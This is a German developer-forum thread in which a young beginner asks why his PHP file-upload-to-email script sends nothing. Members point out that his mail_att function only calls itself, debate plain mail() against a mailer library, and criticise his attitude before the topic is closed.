Das ist der Grund warum ich in meiner eigenen Realität lebe. :mrgreen:


storestore - Do 25.08.11 17:08

Ok,danke für die info


storestore - Fr 26.08.11 00:41

Hi,
ich habe jetzt im internet gesucht und das hier gefunden http://www.php-einfach.de/codeschnipsel_1114.php
Das interresante für mich aber war das mit dem Datei-upload. Der code ist noch sehr "Gefärhlich" und nicht geschützt, aber das bin ich noch am bearbeiten. Das hauptsächliche Problem ist aber das keine e-mail ankommt. Alles richtig ausgefüllt auch eine "function mail_att" eingefügt, weil er gemekert hat aber jetzt, kommt keine Mail an. Bevor ich die function mail_att eingfügt habe kam auch keine an. Also das liegt nicht daran. Ich habe jetzt schon 1-2 tage gesucht und gesucht und gesucht aber leider finde ich keine hilfe. Könnt ihr mir bitte helfen?

mfg storestore


Dude566 - Fr 26.08.11 00:50

Und wir sollen jetzt raten wie dein Code aussieht? :roll:


storestore - Fr 26.08.11 00:53

user profile iconDude566 hat folgendes geschrieben Zum zitierten Posting springen:
Und wir sollen jetzt raten wie dein Code aussieht? :roll:

Nein natürlich nicht sorry. Der code ist aber noch ohne sicherheit:


Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
<form enctype="multipart/form-data" action="t.php" method="POST">

Choose a file to upload: <input name="uploadedfile" type="file" />
<input type="submit" value="Upload File" />
</form>
<?php
function mail_att($to,$subject,$message,$anhang)
   {
     $to= "storestore@web.de";
$anhang = array();
$anhang["name"] = $_FILES['datei_feld']['name'];
$anhang["size"] = $_FILES['datei_feld']['size'];
$anhang["type"] = $_FILES['datei_feld']['type'];
$anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));

mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang);
}
?>

Ich habe es so gemacht wie beschrieben


Dude566 - Fr 26.08.11 01:06

Wenn sich meine müden Augen gerade nicht vergucken, rufst du die Funktion in sich selbst auf, ist das so beabsichtigt?


storestore - Fr 26.08.11 01:13

user profile iconDude566 hat folgendes geschrieben Zum zitierten Posting springen:
Wenn sich meine müden Augen gerade nicht vergucken, rufst du die Funktion in sich selbst auf, ist das so beabsichtigt?

Ohh sorry falscher code :oops:

Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
Choose a file to upload: <input name="uploadedfile" type="file" />
<input type="submit" value="Upload File" />

<?php
function mail_att($to,$subject,$message,$anhang)
   {
     $to= "storestore@web.de";
$anhang = array();
$anhang["name"] = $_FILES['datei_feld']['name'];
$anhang["size"] = $_FILES['datei_feld']['size'];
$anhang["type"] = $_FILES['datei_feld']['type'];
$anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));

mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang);
}
?>


Ohh verdamt du hast recht :autsch: :autsch: :autsch:
Sorry für den dobblepost aber sonst wierd es zuviel in einem Beitrag;)


Dude566 - Fr 26.08.11 01:34

Da ist trotzdem noch der Fehler, hast du denn verstanden was ich gemeint habe?


Gausi - Fr 26.08.11 08:14

Hast du denn den von dir verlinkten Beitrag gelesen? Da steht doch die Funktion mail_att, und wie sie auszusehen hat. Warum hast du die denn komplett weggelassen?


storestore - Fr 26.08.11 08:35

user profile iconGausi hat folgendes geschrieben Zum zitierten Posting springen:
Hast du denn den von dir verlinkten Beitrag gelesen? Da steht doch die Funktion mail_att, und wie sie auszusehen hat. Warum hast du die denn komplett weggelassen?

meinst du das function mail_att($to,$subject,$message,$anhang).
Das habe ich doch oder nicht, moment ...
...doch das habe ich. Tut mir leide ich habe alles gut geprüft verstehe aber nicht vor der fehler sein sollte.
Sorry aber ich habe es jetzt mal echt geprüft. Ich saß locker bis 1.30 uhr in der früh dran.


storestore - Sa 27.08.11 12:22

*Push*


Delete - Sa 27.08.11 13:10

Du scheinst dich immer noch nicht ansatzweise mit den Grundlagen beschäftigt zu haben. Trotzdem hier mal ein Stichwort, um den lustigsten Thread seit langem am Leben zu erhalten: http://de.wikipedia.org/wiki/Rekursion

Viel Spaß!


storestore - Sa 27.08.11 13:36

Ok, weiter lernen
Ich habe jetzt in einem php-forum angefragt und dort hieß es ich sollte mir eine mailer klasse anlegen. Hab auch schon einen guten Tipp bekommen http://swiftmailer.org/docs/messages.html#attaching-files Also ich bin echt zufrieden da!


Horschdware - Sa 27.08.11 18:41

Oh je, lass das bitte mit diesem Swiftmailer. Versuche es doch erst einmal mit den zur Verfügung stehenden Hausmitteln. Eine Anleitung dazu hast du eh schon gepostet.
Versuche doch erst einmal die einfachen Sachen, bevor du dich an irgendwelche speziellen Zusatzklassen in die Hand nimmst.


storestore - Sa 27.08.11 18:46

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
Oh je, lass das bitte mit diesem Swiftmailer. Versuche es doch erst einmal mit den zur Verfügung stehenden Hausmitteln. Eine Anleitung dazu hast du eh schon gepostet.
Versuche doch erst einmal die einfachen Sachen, bevor du dich an irgendwelche speziellen Zusatzklassen in die Hand nimmst.

Es hieß mit swiftmailer ist es einfacher


Yogu - Sa 27.08.11 18:49

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
Oh je, lass das bitte mit diesem Swiftmailer. Versuche es doch erst einmal mit den zur Verfügung stehenden Hausmitteln. Eine Anleitung dazu hast du eh schon gepostet.

Ich kenne Swiftmailer nicht, aber wenn du das allgemein meinst, muss ich dir widersprechen. Die mail-Funktion von PHP ist, vor allem, wenn man Anhänge verwenden will, ganz sicher kein Einsteigerprojekt. Es ist besser, eine schön geschriebene Klasse mit einfachen Methoden zu verwenden und dabei dann im Idealfall auch noch jedes selbst geschriebene Wort zu verstehen, als den Mail-Standard von Hand zu implementieren.

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
Versuche doch erst einmal die einfachen Sachen, bevor du dich an irgendwelche speziellen Zusatzklassen in die Hand nimmst.

Und einfach ist garantiert keine richtige Beschreibung von mail. Ich habe da schon etliche Stunden reininvestiert, um Anhänge, Zeichenkodierungen und HTML-Mails zu erstellen. Sicherlich wäre es da sinnvoller gewesen, gleich eine Wrapper-Klasse zu verwenden.


storestore - Sa 27.08.11 18:52

[quote="user profile iconYogu"(648943)]
user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
Oh je, lass das bitte mit diesem Swiftmailer. Versuche es doch erst einmal mit den zur Verfügung stehenden Hausmitteln. Eine Anleitung dazu hast du eh schon gepostet.

Ich kenne Swiftmailer nicht, aber wenn du das allgemein meinst, muss ich dir widersprechen. Die mail-Funktion von PHP ist, vor allem, wenn man Anhänge verwenden will, ganz sicher kein Einsteigerprojekt. Es ist besser, eine schön geschriebene Klasse mit einfachen Methoden zu verwenden und dabei dann im Idealfall auch noch jedes selbst geschriebene Wort zu verstehen, als den Mail-Standard von Hand zu implementieren.

Sowas will ich hören, danke. Naja jetzt nochmal zu dem von mit geposteten code (evt. 5 Seite im Forum) Was ist daran falsch? Ich habe die mail_att function doch erstellt?


Horschdware - Sa 27.08.11 18:57

Es stimmt schon, dass man viele Dinge in der Praxis wohl nicht mehr neu erfinden wird, sondern auf solche netten Goodies zurückgreift; Klassen und Bibliotheken, die es einem einfacher machen. Normalerweise wäre das mit dieser Swiftmail-Geschichte auch eine echt schöne Sache.

Aber wenn wir hier in diesem Thread schon seit mehreren Seiten auf eine Lösung mit der standard mail() hinarbeiten und schon ein Tutorial hier gesehen haben und die Umsetzung quasi nur noch "ge-copy&paste-d" werden muss, dann denke ich, sollte das auch so umgesetzt werden und nicht aus der Unnot heraus auf ein neues Konzept umgeschwenkt werden.

edit: ein Bisschen zu spät...
Zitat:
Was ist daran falsch? Ich habe die mail_att function doch erstellt?

Ja, du hast eine function mit diesem Namen erstellt. Aber mache dir doch einmal Gedanken darüber, was diese Methode überhaupt tut. Du hast das nicht so umgesetzt wie in deinem Tutorial. Darüber hinaus ist es gar nicht notwendig, eine entsprechende Methode zu schreiben.
Du musst ja nur die mail()-Function mit den richtigen Parametern bestücken. Du warst ja schon mal recht nah am Ziel...


storestore - Sa 27.08.11 19:00

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
Es stimmt schon, dass man viele Dinge in der Praxis wohl nicht mehr neu erfinden wird, sondern auf solche netten Goodies zurückgreift; Klassen und Bibliotheken, die es einem einfacher machen. Normalerweise wäre das mit dieser Swiftmail-Geschichte auch eine echt schöne Sache.

Aber wenn wir hier in diesem Thread schon seit mehreren Seiten auf eine Lösung mit der standard mail() hinarbeiten und schon ein Tutorial hier gesehen haben und die Umsetzung quasi nur noch "ge-copy&paste-d" werden muss, dann denke ich, sollte das auch so umgesetzt werden und nicht aus der Unnot heraus auf ein neues Konzept umgeschwenkt werden.

edit: ein Bisschen zu spät...
Zitat:
Was ist daran falsch? Ich habe die mail_att function doch erstellt?

Ja, du hast eine function mit diesem Namen erstellt. Aber mache dir doch einmal Gedanken darüber, was diese Methode überhaupt tut. Du hast das nicht so umgesetzt wie in deinem Tutorial. Darüber hinaus ist es gar nicht notwendig, eine entsprechende Methode zu schreiben.
Du musst ja nur die mail()-Function mit den richtigen Parametern bestücken. Du warst ja schon mal recht nah am Ziel...

Naja in dem phpforum wurde mir dazu geraten. Ich wollte nur nochmal euren Rat einholen.


Yogu - Sa 27.08.11 19:03

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Naja jetzt nochmal zu dem von mit geposteten code (evt. 5 Seite im Forum) Was ist daran falsch? Ich habe die mail_att function doch erstellt?

Das da: ?

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:

Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
Choose a file to upload: <input name="uploadedfile" type="file" />
<input type="submit" value="Upload File" />

<?php
function mail_att($to,$subject,$message,$anhang)
   {
     $to= "storestore@web.de";
$anhang = array();
$anhang["name"] = $_FILES['datei_feld']['name'];
$anhang["size"] = $_FILES['datei_feld']['size'];
$anhang["type"] = $_FILES['datei_feld']['type'];
$anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));

mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang);
}
?>

Korrekt, du hast eine Funktion mail_att erstellt. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und ruft die Funktion mail_att auf. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und... verstehst du? Da passiert gar nichts, außer dass sich das Programm ständig im Kreis dreht und sich aufhängt. Vorausgesetzt, die Funktion mail_att wird überhaupt vom Hauptprogramm heraus aufgerufen, was in dem Quellcode nicht der Fall ist.

Was du gemacht hast, ist auf die Fehlermeldung "Funktion nicht gefunden" eine eigene Funktion zu erstellen, die nicht der entspricht, die du eigentlich wolltest. Ich schätze, du hast im Internet irgendwo einen Verweis auf mail_att gefunden. Nun, dann musst du an dieser Stelle eben den Quelltext dieser Funktion suchen und ihn einbauen.

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
Aber wenn wir hier in diesem Thread schon seit mehreren Seiten auf eine Lösung mit der standard mail() hinarbeiten und schon ein Tutorial hier gesehen haben und die Umsetzung quasi nur noch "ge-copy&paste-d" werden muss, dann

ist das wahrlich schade, denn es war offensichtlich vergeudete Zeit.

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
denke ich, sollte das auch so umgesetzt werden und nicht aus der Unnot heraus auf ein neues Konzept umgeschwenkt werden.

Naja, nur weil man eine Stunde lang eine Straße entlanggelaufen ist, bis man festgestellt hat, dass sie eine Sackgasse ist, sollte man nicht aus Prinzip weiterlaufen, sondern umkehren.

Ob mail oder Swiftmailer, ist user profile iconstorestores Entscheidung. Ich werde konkrete Fragen zu beiden Möglichkeiten beantworten, vorausgesetzt, die Eigeninitiative, die user profile iconstorestore seit kurzem zeigt, ist nicht nur vorübergehend.


Horschdware - Sa 27.08.11 19:06

user profile iconYogu hat folgendes geschrieben Zum zitierten Posting springen:

Naja, nur weil man eine Stunde lang eine Straße entlanggelaufen ist, bis man festgestellt hat, dass sie eine Sackgasse ist, sollte man nicht aus Prinzip weiterlaufen, sondern umkehren.


Verstehe mich bitte nicht falsch, ich stimme dir da voll und ganz zu :-)

Ich denke nur, dass es in diesem konkreten Fall sinnvoller wäre, wenn storestore die Lösung, die ja zum Greifen nah ist, umsetzen würde. Ich schätze, das würde jetzt schneller gehen, da wir schon so weit gekommen sind, als sich nun in swiftmail einzuarbeiten.

Aber wie du schon gesagt hast, es bleibt seine Entscheidung ;-)


storestore - Sa 27.08.11 19:11

user profile iconYogu hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Naja jetzt nochmal zu dem von mit geposteten code (evt. 5 Seite im Forum) Was ist daran falsch? Ich habe die mail_att function doch erstellt?

Das da: ?

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:

Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
Choose a file to upload: <input name="uploadedfile" type="file" />
<input type="submit" value="Upload File" />

<?php
function mail_att($to,$subject,$message,$anhang)
   {
     $to= "storestore@web.de";
$anhang = array();
$anhang["name"] = $_FILES['datei_feld']['name'];
$anhang["size"] = $_FILES['datei_feld']['size'];
$anhang["type"] = $_FILES['datei_feld']['type'];
$anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));

mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang);
}
?>

Korrekt, du hast eine Funktion mail_att erstellt. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und ruft die Funktion mail_att auf. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und... verstehst du? Da passiert gar nichts, außer dass sich das Programm ständig im Kreis dreht und sich aufhängt. Vorausgesetzt, die Funktion mail_att wird überhaupt vom Hauptprogramm heraus aufgerufen, was in dem Quellcode nicht der Fall ist.

Was du gemacht hast, ist auf die Fehlermeldung "Funktion nicht gefunden" eine eigene Funktion zu erstellen, die nicht der entspricht, die du eigentlich wolltest. Ich schätze, du hast im Internet irgendwo einen Verweis auf mail_att gefunden. Nun, dann musst du an dieser Stelle eben den Quelltext dieser Funktion suchen und ihn einbauen.

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
Aber wenn wir hier in diesem Thread schon seit mehreren Seiten auf eine Lösung mit der standard mail() hinarbeiten und schon ein Tutorial hier gesehen haben und die Umsetzung quasi nur noch "ge-copy&paste-d" werden muss, dann

ist das wahrlich schade, denn es war offensichtlich vergeudete Zeit.

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
denke ich, sollte das auch so umgesetzt werden und nicht aus der Unnot heraus auf ein neues Konzept umgeschwenkt werden.

Naja, nur weil man eine Stunde lang eine Straße entlanggelaufen ist, bis man festgestellt hat, dass sie eine Sackgasse ist, sollte man nicht aus Prinzip weiterlaufen, sondern umkehren.

Ob mail oder Swiftmailer, ist user profile iconstorestores Entscheidung. Ich werde konkrete Fragen zu beiden Möglichkeiten beantworten, vorausgesetzt, die Eigeninitiative, die user profile iconstorestore seit kurzem zeigt, ist nicht nur vorübergehend.


Hallo, wo warst du als iich das Thema aufgemacht habe. Gott segen dich!!!
Genau so jemanden suche ich. Das Angebot mit den Fragen werde ich aufjedenfall annehmen.
So wie ich es jetzt verstanden habe, wäre es besser ein html forumlar zu erstellen und denn code durch eine <form action="" method="get"></form> einzufügen, meinst du ich sollte da noch eine mail function eibauen, da durch die mail_att function funktion nur variablen definiert werden.
Aufjeden fall danke und wenn ich das sagen darf. Für die 11klasse (die anderen die hier gepostet haben sind ja schon zwischen 21-25)bist du echt weisse.


Yogu - Sa 27.08.11 19:18

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Hallo, wo warst du als iich das Thema aufgemacht habe. Gott segen dich!!!

Da saß ich gemütlich in meinem Sessel und habe dieses Thema bei einer Packung Gummibärchen gespannt verfolgt. Das Bedürfnis, etwas zu schreiben, hab ich erst verspürt als es Anzeichen gab, dass du vielleicht etwas des Geschriebenen ernst nehmen würdest...

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Genau so jemanden suche ich. Das Angebot mit den Fragen werde ich aufjedenfall annehmen.

Das Angebot, konkrete Fragen zu beantworten, gibt die Entwickler-Ecke seit 9 Jahren jedem Benutzer. Du hast es nur noch nicht sonderlich oft angenommen.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
So wie ich es jetzt verstanden habe, wäre es besser ein html forumlar zu erstellen und denn code durch eine <form action="" method="get"></form> einzufügen, da sich der code sonst wiederholt, stimmt das?

Wie willst du das denn sonst machen, ohne HTML-Formular? Und das mit Code-Wiederholung verstehe ich nicht.


storestore - Sa 27.08.11 19:22

user profile iconYogu hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Hallo, wo warst du als iich das Thema aufgemacht habe. Gott segen dich!!!

Da saß ich gemütlich in meinem Sessel und habe dieses Thema bei einer Packung Gummibärchen gespannt verfolgt. Das Bedürfnis, etwas zu schreiben, hab ich erst verspürt als es Anzeichen gab, dass du vielleicht etwas des Geschriebenen ernst nehmen würdest...

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Genau so jemanden suche ich. Das Angebot mit den Fragen werde ich aufjedenfall annehmen.

Das Angebot, konkrete Fragen zu beantworten, gibt die Entwickler-Ecke seit 9 Jahren jedem Benutzer. Du hast es nur noch nicht sonderlich oft angenommen.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
So wie ich es jetzt verstanden habe, wäre es besser ein html forumlar zu erstellen und denn code durch eine <form action="" method="get"></form> einzufügen, da sich der code sonst wiederholt, stimmt das?

Wie willst du das denn sonst machen, ohne HTML-Formular? Und das mit Code-Wiederholung verstehe ich nicht.

Mit dem code wiederholen ist egal, habe ich auch wieder gelöscht. Ja ich meine nochmal eine neue Seite, das ein HTML-Formular ist und den PHP code nochmal in einer anderen Seite reinzuschreiben, und nicht das HTML formular in dem PHP code zu öffnen


Delete - Sa 27.08.11 23:37

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconYogu hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Naja jetzt nochmal zu dem von mit geposteten code (evt. 5 Seite im Forum) Was ist daran falsch? Ich habe die mail_att function doch erstellt?

Das da: ?

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:

Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
Choose a file to upload: <input name="uploadedfile" type="file" />
<input type="submit" value="Upload File" />

<?php
function mail_att($to,$subject,$message,$anhang)
   {
     $to= "storestore@web.de";
$anhang = array();
$anhang["name"] = $_FILES['datei_feld']['name'];
$anhang["size"] = $_FILES['datei_feld']['size'];
$anhang["type"] = $_FILES['datei_feld']['type'];
$anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));

mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang);
}
?>

Korrekt, du hast eine Funktion mail_att erstellt. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und ruft die Funktion mail_att auf. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und... verstehst du? Da passiert gar nichts, außer dass sich das Programm ständig im Kreis dreht und sich aufhängt. Vorausgesetzt, die Funktion mail_att wird überhaupt vom Hauptprogramm heraus aufgerufen, was in dem Quellcode nicht der Fall ist.

Was du gemacht hast, ist auf die Fehlermeldung "Funktion nicht gefunden" eine eigene Funktion zu erstellen, die nicht der entspricht, die du eigentlich wolltest. Ich schätze, du hast im Internet irgendwo einen Verweis auf mail_att gefunden. Nun, dann musst du an dieser Stelle eben den Quelltext dieser Funktion suchen und ihn einbauen.

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
Aber wenn wir hier in diesem Thread schon seit mehreren Seiten auf eine Lösung mit der standard mail() hinarbeiten und schon ein Tutorial hier gesehen haben und die Umsetzung quasi nur noch "ge-copy&paste-d" werden muss, dann

ist das wahrlich schade, denn es war offensichtlich vergeudete Zeit.

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
denke ich, sollte das auch so umgesetzt werden und nicht aus der Unnot heraus auf ein neues Konzept umgeschwenkt werden.

Naja, nur weil man eine Stunde lang eine Straße entlanggelaufen ist, bis man festgestellt hat, dass sie eine Sackgasse ist, sollte man nicht aus Prinzip weiterlaufen, sondern umkehren.

Ob mail oder Swiftmailer, ist user profile iconstorestores Entscheidung. Ich werde konkrete Fragen zu beiden Möglichkeiten beantworten, vorausgesetzt, die Eigeninitiative, die user profile iconstorestore seit kurzem zeigt, ist nicht nur vorübergehend.


Hallo, wo warst du als iich das Thema aufgemacht habe. Gott segen dich!!!
Genau so jemanden suche ich. Das Angebot mit den Fragen werde ich aufjedenfall annehmen.
So wie ich es jetzt verstanden habe, wäre es besser ein html forumlar zu erstellen und denn code durch eine <form action="" method="get"></form> einzufügen, meinst du ich sollte da noch eine mail function eibauen, da durch die mail_att function funktion nur variablen definiert werden.
Aufjeden fall danke und wenn ich das sagen darf. Für die 11klasse (die anderen die hier gepostet haben sind ja schon zwischen 21-25)bist du echt weisse.

Ich finde dein Auftreten echt unverschämt und deines Alters nicht angemessen. Letztendlich verhältst du dich hier wie ein Kleinkind, was du ja anscheinend nicht mehr bist oder sein willst. Über mehrere Seiten wurden dir die einfachsten Lösungswege vorgestellt, Tutorials für dich rausgesucht, obwohl du zu faul und anscheinend auch nicht ansatzweise lernfähig genug bist, Google richtig zu bedienen oder mal einen Satz richtig zu lesen. Wäre ich Admin, würde ich mir überlegen, dir nicht eine Sperre zu erteilen für diese Dreistigkeit. Zum Glück ist das nicht mir überlassen und ich kann diese schwere Frage einfach ignorieren.

Du solltest an deinem Auftreten arbeiten, so lernst du nie was.


mandras - Sa 27.08.11 23:46

Bitte setze dich einmal hin und formuliere Deine Fragen in strukturierter Weise.
Ich verfolge diesen Faden hier schon seit einiger Zeit und je weiter es geht desto weniger kann ich nachvollziehen um was es denn zum Schluß eigentlich geht, wo das Problem noch liegt.
Und das ständige Einstellen von Codeschnippseln mit/ohne Änderungen gegenüber dem jeweils letzten Posting führt nicht zur besseren Verständlichkeit.


Yogu - So 28.08.11 00:57

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ja ich meine nochmal eine neue Seite, das ein HTML-Formular ist und den PHP code nochmal in einer anderen Seite reinzuschreiben, und nicht das HTML formular in dem PHP code zu öffnen

So ganz versteh ich das immer noch nicht. :nixweiss: Ist doch schlussendlich egal, ob Formular und Code in der gleichen Datei sind, oder eine reine HTML-Datei mit dem Formular eine andere PHP-Datei mit dem Upload-Code aufruft. Nur, wenn der Upload-Code manchmal (z.B. bei falscher Eingabe) das Formular anzeigen soll, ist es sinnvoller, beides in einer Datei zu vereinigen.


storestore - So 28.08.11 12:26

Ich versuche es jetzt einfach mit einer Mailerklasse. Ist das sicherer? Oder ist das genauso xss ausgesetzt wie ohne?

mfg storestore


BenBE - So 28.08.11 13:28

Stell Dir eine Kette aus 5cm starken Stahlbolzen vor, die in der Mitte durch einen Bindfaden zusammengehalten wird. Der Bindfaden ist dein Code, die 5cm starken Stahlbolzen der Webserver und die Mailerklasse.


storestore - So 28.08.11 13:45

Ok habe ich hört sich nicht sehr sicher an.


storestore - So 28.08.11 17:39

Wollt ihr mal eine gescheite Antwort lesen? Hier!!!!

http://www.php-resource.de/forum/php-developer-forum/102096-e-mail-mit-anhang.html#post656192


Delete - So 28.08.11 18:15

Na ja, die sind ja noch auf der ersten Seite. aber wenn sie merken, dass sie auf Seite 3 immer noch auf der Stelle treten, werden wohl auch da die Antworten entsprechend ausfallen. Und was willst du uns damit sagen? Dass wir dir nicht helfen wollen und deshalb nur Mist posten oder das wir unfähig sind? Ich glaube, du solltest dich mal an die eigene Nase packen und dir mal überlegen, was du hier bisher für Beiträge fabriziert hast.


storestore - So 28.08.11 18:18

user profile iconLuckie hat folgendes geschrieben Zum zitierten Posting springen:
Na ja, die sind ja noch auf der ersten Seite. aber wenn sie merken, dass sie auf Seite 3 immer noch auf der Stelle treten, werden wohl auch da die Antworten entsprechend ausfallen. Und was willst du uns damit sagen? Dass wir dir nicht helfen wollen und deshalb nur Mist posten oder das wir unfähig sind? Ich glaube, du solltest dich mal an die eigene Nase packen und dir mal überlegen, was du hier bisher für Beiträge fabriziert hast.

Nein, aber ich wollte nur mal zeigen das die gut antworten. Außerdem hieß es doch in der SB oder im Thread (weiss ich nicht mehr) das da nur leute sind die es nicht können oder so ein Mist. Außerdem heißt es da nicht "guck da oder da" sondern da heißt es "so wird es gemacht"


Delete - So 28.08.11 18:21

Mal was zum Nachdenken:
Zitat:
Gib einem Hungerden eine Fisch und er ist für eine Tag satt, lehre im zu fischen und er ist für sein leben lang satt.


storestore - So 28.08.11 18:26

user profile iconLuckie hat folgendes geschrieben Zum zitierten Posting springen:
Mal was zum Nachdenken:
Zitat:
Gib einem Hungerden eine Fisch und er ist für eine Tag satt, lehre im zu fischen und er ist für sein leben lang satt.

Hmm, schönes Zitat. Gibt einem echt zu denken.
Naja ist egal das hier ist ja kein php forum, deswegen ist es kein Problem wegen den Antworten. Ich hätte gleich in dem Forum fragen sollen. Naja hier ist es erledigt.
Ich mache im PHP-Forum weiter.

also danke für alle Antworten.

mfg storestore


mandras - So 28.08.11 23:49

lieber speicherspeicher,

Deine Arroganz sprengt wirklich jedes Maß.

Sie hat ein Niveau daß ich gar nicht glauben kann daß Du angeblich erst 13 bist.

Bei Durchsicht der Posts auf dem anderen Forum kamst Du nicht auf die Idee daß die kurz davor
sind die Geduld zu verlieren?


storestore - So 28.08.11 23:59

Nee, eig. nicht


Delete - Mo 29.08.11 00:52

Besonders geil:
Zitat:
PS: Wow ein Moderator antwortet mir auch mal. Ich bin ja auch in einem c-sharp-forum aber da schert sich kein Moderator auf meine fragen anständig zu antworten. Echt danke. Ich werde euch auf jeden fall weiter empfehlen!!!

Fühlst du dich hier nicht ernst genommen, weil in deinem Thread noch kein Moderator geantwortet hat? Allerdings würde ich sagen, in dem Forum dürftest du auch bald unten durch sein, wenn ich mir so den ersten Satz des Zitates angucke. Klingt ziemlich herablassend. Du solltest aber immer daran denken, dass du, wenn du eine Frage stellst, als Bittsteller auftrittst und von anderen etwas willst. Und diese anderen freiwillig und aus Spaß an der Freude antworten, entsprechend solltest du dich auch verhalten. Ich frage mich, wie du durch das Leben kommst, wenn du dich im richtigen Leben genauso gegenüber anderen verhältst.


Gausi - Mo 29.08.11 07:44

Erstens hat auch hier ein Moderator geantwortet. Zweitens hat dieser Moderator dir genau dasselbe gesagt wie in deinem ach so tollen php-Forum. Nämlich das du das Mail-Tutorial, was du selber verlinkt hast, gefälligst lesen sollst und die Funktion mail_att, die da drin steckt, auch kopieren sollst und nicht irgendwie sinnfrei ändern sollst. Du hast wirklich Talent, dir auch mit deinem neuen Account wieder Freunde hier zu machen. :roll:

Da das Thema hier erledigt ist, schließe ich das Topic.